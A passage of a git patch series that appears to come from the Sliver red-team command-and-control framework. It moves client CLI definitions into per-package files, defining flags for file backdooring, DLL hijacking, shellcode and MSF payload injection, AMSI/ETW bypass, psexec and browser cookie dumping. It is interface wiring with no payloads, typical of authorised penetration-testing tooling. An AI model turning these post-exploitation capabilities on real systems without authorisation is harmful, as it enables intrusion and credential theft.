host file at") + }) + websitesCmd.AddCommand(websitesRmWebContentCmd) + flags.BindFlagCompletions(websitesRmWebContentCmd, func(comp *carapace.ActionMap) { + (*comp)["website"] = WebsiteNameCompleter(con) + }) + + websitesContentCmd := &cobra.Command{ + Use: consts.AddWebContentStr, + Short: "Add content to a website", + Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}), + Run: func(cmd *cobra.Command, args []string) { + WebsitesAddContentCmd(cmd, con, args) + }, + } + flags.Bind("websites", false, websitesContentCmd, func(f *pflag.FlagSet) { + f.StringP("website", "w", "", "website name") + f.StringP("content-type", "m", "", "mime content-type (if blank use file ext.)") + f.StringP("web-path", "p", "/", "http path to host file at") + f.StringP("content", "c", "", "local file path/dir (must use --recursive for dir)") + f.BoolP("recursive", "r", false, "recursively add/rm content") + }) + flags.BindFlagCompletions(websitesContentCmd, func(comp *carapace.ActionMap) { + (*comp)["content"] = carapace.ActionFiles().Tag("content directory/files") + (*comp)["website"] = WebsiteNameCompleter(con) + }) + websitesCmd.AddCommand(websitesContentCmd) + + websitesContentTypeCmd := &cobra.Command{ + Use: consts.WebContentTypeStr, + Short: "Update a path's content-type", + Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.WebContentTypeStr}), + Run: func(cmd *cobra.Command, args []string) { + WebsitesUpdateContentCmd(cmd, con, args) + }, + } + flags.Bind("websites", false, websitesContentTypeCmd, func(f *pflag.FlagSet) { + f.StringP("website", "w", "", "website name") + f.StringP("content-type", "m", "", "mime content-type (if blank use file ext.)") + f.StringP("web-path", "p", "/", "http path to host file at") + }) + websitesCmd.AddCommand(websitesContentTypeCmd) + flags.BindFlagCompletions(websitesContentTypeCmd, func(comp *carapace.ActionMap) { + (*comp)["website"] = WebsiteNameCompleter(con) + }) + + return []*cobra.Command{websitesCmd} +} diff --git a/client/command/wireguard/commands.go b/client/command/wireguard/commands.go new file mode 100644 index 0000000000..dcbb9dc82d --- /dev/null +++ b/client/command/wireguard/commands.go @@ -0,0 +1,37 @@ +package wireguard + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + wgConfigCmd := &cobra.Command{ + Use: consts.WgConfigStr, + Short: "Generate a new WireGuard client config", + Long: help.GetHelpFor([]string{consts.WgConfigStr}), + Run: func(cmd *cobra.Command, args []string) { + WGConfigCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + + flags.Bind("wg-config", true, wgConfigCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("wg-config", false, wgConfigCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save configuration to file (.conf)") + }) + flags.BindFlagCompletions(wgConfigCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save config") + }) + + return []*cobra.Command{wgConfigCmd} +} diff --git a/client/console/console.go b/client/console/console.go index fde4a37587..f523ca76da 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -40,6 +40,7 @@ import ( "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/command/reaction" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/prelude" @@ -205,6 +206,16 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds con.setupAsciicastRecord(asciicastLog, asciicastStream) } + // Only load reactions when the console is going to be started. + if !con.IsCLI { + n, err := reaction.LoadReactions() + if err != nil && !os.IsNotExist(err) { + con.PrintErrorf("Failed to load reactions: %s\n", err) + } else if n > 0 { + con.PrintInfof("Loaded %d reaction(s) from disk\n", n) + } + } + if !con.IsCLI { return con.App.Start() } From e23f04096282ba7dff4e408af19922473094f248 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 22 Jun 2023 17:55:32 +0200 Subject: [PATCH 005/124] Split sliver commands in their files --- client/command/backdoor/commands.go | 38 + client/command/command.go | 4 +- client/command/completers/commands.go | 17 + client/command/cursed/commands.go | 149 ++ client/command/dllhijack/commands.go | 43 + client/command/environment/commands.go | 59 + client/command/exec/commands.go | 276 ++++ client/command/extensions/commands.go | 69 + client/command/filesystem/commands.go | 212 +++ client/command/help/commands.go | 17 + client/command/info/commands.go | 70 + client/command/kill/commands.go | 30 + client/command/network/commands.go | 49 + client/command/pivots/commands.go | 101 ++ client/command/portfwd/commands.go | 64 + client/command/privilege/commands.go | 175 +++ client/command/processes/commands.go | 73 + client/command/reconfig/commands.go | 47 + client/command/registry/commands.go | 129 ++ client/command/rportfwd/commands.go | 64 + client/command/screenshot/commands.go | 37 + client/command/server.go | 10 +- client/command/sessions/commands.go | 56 +- client/command/shell/commands.go | 33 + client/command/sliver.go | 1955 +----------------------- client/command/socks/commands.go | 65 + client/command/tasks/commands.go | 58 + client/command/wasm/commands.go | 54 + client/command/wireguard/commands.go | 85 ++ 29 files changed, 2141 insertions(+), 1898 deletions(-) create mode 100644 client/command/backdoor/commands.go create mode 100644 client/command/completers/commands.go create mode 100644 client/command/cursed/commands.go create mode 100644 client/command/dllhijack/commands.go create mode 100644 client/command/environment/commands.go create mode 100644 client/command/exec/commands.go create mode 100644 client/command/extensions/commands.go create mode 100644 client/command/filesystem/commands.go create mode 100644 client/command/help/commands.go create mode 100644 client/command/kill/commands.go create mode 100644 client/command/network/commands.go create mode 100644 client/command/pivots/commands.go create mode 100644 client/command/portfwd/commands.go create mode 100644 client/command/privilege/commands.go create mode 100644 client/command/processes/commands.go create mode 100644 client/command/reconfig/commands.go create mode 100644 client/command/registry/commands.go create mode 100644 client/command/rportfwd/commands.go create mode 100644 client/command/screenshot/commands.go create mode 100644 client/command/shell/commands.go create mode 100644 client/command/socks/commands.go create mode 100644 client/command/tasks/commands.go create mode 100644 client/command/wasm/commands.go diff --git a/client/command/backdoor/commands.go b/client/command/backdoor/commands.go new file mode 100644 index 0000000000..8fa7b4bbff --- /dev/null +++ b/client/command/backdoor/commands.go @@ -0,0 +1,38 @@ +package backdoor + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + backdoorCmd := &cobra.Command{ + Use: consts.BackdoorStr, + Short: "Infect a remote file with a sliver shellcode", + Long: help.GetHelpFor([]string{consts.BackdoorStr}), + Args: cobra.ExactArgs(1), + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + BackdoorCmd(cmd, con, args) + }, + } + flags.Bind("", false, backdoorCmd, func(f *pflag.FlagSet) { + f.StringP("profile", "p", "", "profile to use for service binary") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.BindFlagCompletions(backdoorCmd, func(comp *carapace.ActionMap) { + (*comp)["profile"] = generate.ProfileNameCompleter(con) + }) + carapace.Gen(backdoorCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the remote file to backdoor")) + + return []*cobra.Command{backdoorCmd} +} diff --git a/client/command/command.go b/client/command/command.go index 9ba69ab42f..2afd028b3e 100644 --- a/client/command/command.go +++ b/client/command/command.go @@ -101,11 +101,11 @@ func RestrictTargets(filters ...string) map[string]string { // - double bind session commands // - don't bind readline command in CLI. -// bindCommands is a helper used to bind a list of root commands to a given menu, for a given "command help group". +// bind is a helper used to bind a list of root commands to a given menu, for a given "command help group". // @group - Name of the group under which the command should be shown. Preferably use a string in the constants package. // @menu - The command menu to which the commands should be bound (either server or implant menu). // @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function. -func bindCommands(group string, menu *cobra.Command, con *client.SliverConsoleClient, cmds ...func(con *client.SliverConsoleClient) []*cobra.Command) { +func bind(group string, menu *cobra.Command, con *client.SliverConsoleClient, cmds ...func(con *client.SliverConsoleClient) []*cobra.Command) { found := false // Ensure the given command group is available in the menu. diff --git a/client/command/completers/commands.go b/client/command/completers/commands.go new file mode 100644 index 0000000000..a6c8864c7d --- /dev/null +++ b/client/command/completers/commands.go @@ -0,0 +1,17 @@ +package completers + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + return nil +} diff --git a/client/command/cursed/commands.go b/client/command/cursed/commands.go new file mode 100644 index 0000000000..6680df71e4 --- /dev/null +++ b/client/command/cursed/commands.go @@ -0,0 +1,149 @@ +package cursed + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + cursedCmd := &cobra.Command{ + Use: consts.Cursed, + Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", + Long: help.GetHelpFor([]string{consts.Cursed}), + GroupID: consts.ExecutionHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + CursedCmd(cmd, con, args) + }, + } + flags.Bind("", true, cursedCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + cursedRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a Curse from a process", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + CursedRmCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedRmCmd) + flags.Bind("", false, cursedRmCmd, func(f *pflag.FlagSet) { + f.BoolP("kill", "k", false, "kill the process after removing the curse") + }) + carapace.Gen(cursedRmCmd).PositionalCompletion(carapace.ActionValues().Usage("bind port of the Cursed process to stop")) + + cursedConsoleCmd := &cobra.Command{ + Use: consts.CursedConsole, + Short: "Start a JavaScript console connected to a debug target", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}), + Run: func(cmd *cobra.Command, args []string) { + CursedConsoleCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedConsoleCmd) + flags.Bind("", false, cursedConsoleCmd, func(f *pflag.FlagSet) { + f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)`") + }) + + cursedChromeCmd := &cobra.Command{ + Use: consts.CursedChrome, + Short: "Automatically inject a Cursed Chrome payload into a remote Chrome extension", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}), + Run: func(cmd *cobra.Command, args []string) { + CursedChromeCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedChromeCmd) + flags.Bind("", false, cursedChromeCmd, func(f *pflag.FlagSet) { + f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") + f.BoolP("restore", "R", true, "restore the user's session after process termination") + f.StringP("exe", "e", "", "chrome/chromium browser executable path (blank string = auto)") + f.StringP("user-data", "u", "", "user data directory (blank string = auto)") + f.StringP("payload", "p", "", "cursed chrome payload file path (.js)") + f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") + f.BoolP("headless", "H", false, "start browser process in headless mode") + }) + flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) { + (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") + }) + cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments")) + + cursedEdgeCmd := &cobra.Command{ + Use: consts.CursedEdge, + Short: "Automatically inject a Cursed Chrome payload into a remote Edge extension", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}), + Run: func(cmd *cobra.Command, args []string) { + CursedEdgeCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedEdgeCmd) + flags.Bind("", false, cursedEdgeCmd, func(f *pflag.FlagSet) { + f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") + f.BoolP("restore", "R", true, "restore the user's session after process termination") + f.StringP("exe", "e", "", "edge browser executable path (blank string = auto)") + f.StringP("user-data", "u", "", "user data directory (blank string = auto)") + f.StringP("payload", "p", "", "cursed chrome payload file path (.js)") + f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") + f.BoolP("headless", "H", false, "start browser process in headless mode") + }) + flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) { + (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") + }) + cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments")) + + cursedElectronCmd := &cobra.Command{ + Use: consts.CursedElectron, + Short: "Curse a remote Electron application", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}), + Run: func(cmd *cobra.Command, args []string) { + CursedElectronCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedElectronCmd) + flags.Bind("", false, cursedElectronCmd, func(f *pflag.FlagSet) { + f.StringP("exe", "e", "", "remote electron executable absolute path") + f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") + }) + cursedElectronCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + carapace.Gen(cursedElectronCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Electron CLI arguments")) + + CursedCookiesCmd := &cobra.Command{ + Use: consts.CursedCookies, + Short: "Dump all cookies from cursed process", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}), + Run: func(cmd *cobra.Command, args []string) { + CursedCookiesCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(CursedCookiesCmd) + flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save to file") + }) + + cursedScreenshotCmd := &cobra.Command{ + Use: consts.ScreenshotStr, + Short: "Take a screenshot of a cursed process debug target", + Long: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}), + Run: func(cmd *cobra.Command, args []string) { + CursedScreenshotCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedScreenshotCmd) + flags.Bind("", false, cursedScreenshotCmd, func(f *pflag.FlagSet) { + f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)") + f.StringP("save", "s", "", "save to file") + }) + + return []*cobra.Command{cursedCmd} +} diff --git a/client/command/dllhijack/commands.go b/client/command/dllhijack/commands.go new file mode 100644 index 0000000000..b9aae25f22 --- /dev/null +++ b/client/command/dllhijack/commands.go @@ -0,0 +1,43 @@ +package dllhijack + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + dllhijackCmd := &cobra.Command{ + Use: consts.DLLHijackStr, + Short: "Plant a DLL for a hijack scenario", + Long: help.GetHelpFor([]string{consts.DLLHijackStr}), + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + DllHijackCmd(cmd, con, args) + }, + } + flags.Bind("", false, dllhijackCmd, func(f *pflag.FlagSet) { + f.StringP("reference-path", "r", "", "Path to the reference DLL on the remote system") + f.StringP("reference-file", "R", "", "Path to the reference DLL on the local system") + f.StringP("file", "f", "", "Local path to the DLL to plant for the hijack") + f.StringP("profile", "p", "", "Profile name to use as a base DLL") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.BindFlagCompletions(dllhijackCmd, func(comp *carapace.ActionMap) { + (*comp)["reference-file"] = carapace.ActionFiles() + (*comp)["file"] = carapace.ActionFiles() + (*comp)["profile"] = generate.ProfileNameCompleter(con) + }) + carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system")) + + return []*cobra.Command{dllhijackCmd} +} diff --git a/client/command/environment/commands.go b/client/command/environment/commands.go new file mode 100644 index 0000000000..ed72775b1f --- /dev/null +++ b/client/command/environment/commands.go @@ -0,0 +1,59 @@ +package environment + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + envCmd := &cobra.Command{ + Use: consts.EnvStr, + Short: "List environment variables", + Long: help.GetHelpFor([]string{consts.EnvStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + EnvGetCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", true, envCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(envCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable to fetch (optional)")) + + envSetCmd := &cobra.Command{ + Use: consts.SetStr, + Short: "Set environment variables", + Long: help.GetHelpFor([]string{consts.EnvStr, consts.SetStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + EnvSetCmd(cmd, con, args) + }, + } + envCmd.AddCommand(envSetCmd) + carapace.Gen(envSetCmd).PositionalCompletion( + carapace.ActionValues().Usage("environment variable name"), + carapace.ActionValues().Usage("value to assign"), + ) + + envUnsetCmd := &cobra.Command{ + Use: consts.UnsetStr, + Short: "Clear environment variables", + Long: help.GetHelpFor([]string{consts.EnvStr, consts.UnsetStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + EnvUnsetCmd(cmd, con, args) + }, + } + envCmd.AddCommand(envUnsetCmd) + carapace.Gen(envUnsetCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable name")) + + return []*cobra.Command{envCmd} +} diff --git a/client/command/exec/commands.go b/client/command/exec/commands.go new file mode 100644 index 0000000000..13edbe3de5 --- /dev/null +++ b/client/command/exec/commands.go @@ -0,0 +1,276 @@ +package exec + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + executeCmd := &cobra.Command{ + Use: consts.ExecuteStr, + Short: "Execute a program on the remote system", + Long: help.GetHelpFor([]string{consts.ExecuteStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ExecuteCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) { + f.BoolP("token", "T", false, "execute command with current token (windows only)") + f.BoolP("output", "o", false, "capture command output") + f.BoolP("save", "s", false, "save output to a file") + f.BoolP("loot", "X", false, "save output as loot") + f.BoolP("ignore-stderr", "S", false, "don't print STDERR output") + f.StringP("stdout", "O", "", "remote path to redirect STDOUT to") + f.StringP("stderr", "E", "", "remote path to redirect STDERR to") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + executeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)")) + carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)")) + + executeAssemblyCmd := &cobra.Command{ + Use: consts.ExecuteAssemblyStr, + Short: "Loads and executes a .NET assembly in a child process (Windows Only)", + Long: help.GetHelpFor([]string{consts.ExecuteAssemblyStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ExecuteAssemblyCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, executeAssemblyCmd, func(f *pflag.FlagSet) { + f.StringP("process", "p", "notepad.exe", "hosting process to inject into") + f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)") + f.StringP("class", "c", "", "Optional class name (required for .NET DLL)") + f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.") + f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)") + f.BoolP("in-process", "i", false, "Run in the current sliver process") + f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)") + f.BoolP("save", "s", false, "save output to file") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.Uint32P("ppid", "P", 0, "parent process id (optional)") + f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") + f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)") + f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + executeAssemblyCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)")) + carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)")) + + executeShellcodeCmd := &cobra.Command{ + Use: consts.ExecuteShellcodeStr, + Short: "Executes the given shellcode in the sliver process", + Long: help.GetHelpFor([]string{consts.ExecuteShellcodeStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ExecuteShellcodeCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, executeShellcodeCmd, func(f *pflag.FlagSet) { + f.BoolP("rwx-pages", "r", false, "Use RWX permissions for memory pages") + f.Uint32P("pid", "p", 0, "Pid of process to inject into (0 means injection into ourselves)") + f.StringP("process", "n", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode") + f.BoolP("interactive", "i", false, "Inject into a new process and interact with it") + f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution") + f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)") + f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.BindFlagCompletions(executeShellcodeCmd, func(comp *carapace.ActionMap) { + (*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures") + }) + carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)")) + + sideloadCmd := &cobra.Command{ + Use: consts.SideloadStr, + Short: "Load and execute a shared object (shared library/DLL) in a remote process", + Long: help.GetHelpFor([]string{consts.SideloadStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + SideloadCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, sideloadCmd, func(f *pflag.FlagSet) { + f.StringP("entry-point", "e", "", "Entrypoint for the DLL (Windows only)") + f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") + f.BoolP("unicode", "w", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)") + f.BoolP("save", "s", false, "save output to file") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes") + f.Uint32P("ppid", "P", 0, "parent process id (optional)") + f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + sideloadCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)")) + carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)")) + + spawnDllCmd := &cobra.Command{ + Use: consts.SpawnDllStr, + Short: "Load and execute a Reflective DLL in a remote process", + Long: help.GetHelpFor([]string{consts.SpawnDllStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + SpawnDllCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, spawnDllCmd, func(f *pflag.FlagSet) { + f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") + f.StringP("export", "e", "ReflectiveLoader", "Entrypoint of the Reflective DLL") + f.BoolP("save", "s", false, "save output to file") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes") + f.UintP("ppid", "P", 0, "parent process id (optional)") + f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + spawnDllCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)")) + carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)")) + + migrateCmd := &cobra.Command{ + Use: consts.MigrateStr, + Short: "Migrate into a remote process", + Long: help.GetHelpFor([]string{consts.MigrateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + MigrateCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) { + f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder") + f.Uint32P("pid", "p", 0, "process id to migrate into") + f.StringP("process-name", "n", "", "name of the process to migrate into") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into")) + + msfCmd := &cobra.Command{ + Use: consts.MsfStr, + Short: "Execute an MSF payload in the current process", + Long: help.GetHelpFor([]string{consts.MsfStr}), + Run: func(cmd *cobra.Command, args []string) { + MsfCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, msfCmd, func(f *pflag.FlagSet) { + f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload") + f.StringP("lhost", "L", "", "listen host") + f.IntP("lport", "l", 4444, "listen port") + f.StringP("encoder", "e", "", "msf encoder") + f.IntP("iterations", "i", 1, "iterations of the encoder") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + msfInjectCmd := &cobra.Command{ + Use: consts.MsfInjectStr, + Short: "Inject an MSF payload into a process", + Long: help.GetHelpFor([]string{consts.MsfInjectStr}), + Run: func(cmd *cobra.Command, args []string) { + MsfInjectCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, msfInjectCmd, func(f *pflag.FlagSet) { + f.IntP("pid", "p", -1, "pid to inject into") + f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload") + f.StringP("lhost", "L", "", "listen host") + f.IntP("lport", "l", 4444, "listen port") + f.StringP("encoder", "e", "", "msf encoder") + f.IntP("iterations", "i", 1, "iterations of the encoder") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + psExecCmd := &cobra.Command{ + Use: consts.PsExecStr, + Short: "Start a sliver service on a remote target", + Long: help.GetHelpFor([]string{consts.PsExecStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + PsExecCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, psExecCmd, func(f *pflag.FlagSet) { + f.StringP("service-name", "s", 